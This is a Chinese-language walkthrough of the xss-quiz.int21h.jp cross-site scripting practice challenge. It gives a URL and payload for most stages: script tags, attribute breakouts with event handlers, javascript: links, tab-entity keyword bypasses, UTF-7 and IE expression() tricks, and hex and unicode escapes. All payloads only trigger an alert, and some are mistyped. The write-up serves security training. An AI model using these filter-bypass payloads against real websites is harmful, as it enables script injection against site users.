概述：

https://xss-quiz.int21h.jp/

Stage #1

payload： <script>alert(document.domain);</script>

Stage #2

http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70

尝试： <script>alert(document.domain);</script> 未果

input 没有闭合

payload： "><svg οnlοad=alert(document.domain)>

Stage #3

http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d

备注：这里因为都是post请求，p1 变量是不存在跨站的，p2变量才存在问题，因此需要抓包

;javascript:alert(document.domain);//

p2=<script>alert(document.domain);</script>

Stage #4

http://xss-quiz.int21h.jp/stage_4.php?sid=d47663090ecc0b8d55ae73ee3753ead52c63103e

p3 为隐藏的属性，使用inspector删除掉text=hidden

payload："><svg οnlοad=alert(document.domain)>;

Stage #5

http://xss-quiz.int21h.jp/stage–5.php?sid=e9dd07b6e86c5314a2e574e887faa9482de330bf

通过尝试发现，闭合即可

<input type="text" name="p1" maxlength="15" size="30" value="hack404">

但是由于前端对字符数量做了限制，因此抓包修改绕过

Stage #6

http://xss-quiz.int21h.jp/stage-no6.php?sid=b76ebfa651652f2c22f8ddbe264941287667706c

问题点：对< > 做了转移，利用事件进行绕过

<input type="text" name="p1" size="50" value="" οnmοuseοver=alert(document.domain);//">

payload：

" οnmοuseοver=alert(document.domain);//

123" οnmοuseοver="alert(document.domain);

<input type="text" name="p1" size="50" value="123" οnmοuseοver="alert(document.domain);">

Stage #7

http://xss-quiz.int21h.jp/stage07.php?sid=f433ab35e367d5a94100aa4e0f694c3e63d67105

<input type="text" name="p1" size="50" value=&lt;script&gt;alert(document.domain);&lt;/script&gt;>

<input type="text" name="p1" size="50" value=;οnmοuseοver=alert(document.domain);//>

对< > " ' 都已近做了转义

payload： view plaincopyprint  οnmοusemοve=alert(document.domain)

Stage #8

http://xss-quiz.int21h.jp/stage008.php?sid=4301b185b563c91208e0af232d7f016885e863e0

a 标签，插入，点击即可触发

<a href="javascript:alert(document.domain);">javascript:alert(document.domain);</a>

Stage #9

http://xss-quiz.int21h.jp/stage_09.php?sid=558484a712d793c446e3dc409601eaf126e73d25

此问题，目前的浏览器已经不支持，因为它依赖于对UTF-7的支持

Solution:+ACI- οnmοuseοver=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg-&charset=euc-jp

Stage #10

http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276

<input type="text" name="p1" size="50" value=""><svg οnlοad=alert(document.)>">

看来是长字符限制了，我们尝试短的字符数尝试下

payload: " οnmοuseοver=alert(document.domdomainain); x="

<input type="text" name="p1" size="50" value="" οnmοuseοver=alert(document.domain); x="">

Stage #11

http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3

这里主要是针对关键字，进行了混淆

"><a href="javascript:alert(document.domain);">hack404</a>

<input type="text" name="p1" size="50" value=""><a href="javaxscript:alert(document.domain);">hack404</a>">

这里我们使用特殊字符进行绕过：

%09           Horizontal tab

"><a href="javascr&#09ipt:alert(document.domain);">hack404</a>

<a href="javascr&#09ipt:alert(document.domain);">hack404</a>">

Stage #12

http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb

Passed with IE
Stage12: http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
Solution: "οnmοuseοver=alert(document.domain);

Stage #13

http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad

Passed with IE
Stage13: http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad
Solution: xss:expression(alert(document.domain));"

Stage #14

http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8

Passed with IE
Stage14: http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8
Solution: xss:expre/**/ssion(alert(document.domain));"

Stage #15

http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726

hex encode :

< >

\x3c \x3e

payload:

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

Stage #16

http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7

unicode encoding < >

https://www.branah.com/unicode-converter

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Stage #17

http://xss-quiz.int21h.jp/stage-No17.php?sid=53342e06720dc7d4fa4224eb3c13bf966d823056

存在于老版本的IE

Stage #18

http://xss-quiz.int21h.jp/stage__No18.php?sid=170f1d30f88cf627174033ec5b73578276b94fc3

存在于老版本的IE

Stage #19

http://xss-quiz.int21h.jp/stage_–19.php?sid=787870a01e603b0c0d0d6c464c0595883e2c10ce

访问404了。。

参考：

https://blogs.tunelko.com/2013/12/02/xss-challenges/

https://github.com/matachi/MaTachi.github.io/blob/master/src/pages/solutions-to-the-wargame-xss-challenges-at-xss-quiz-int21h-jp.md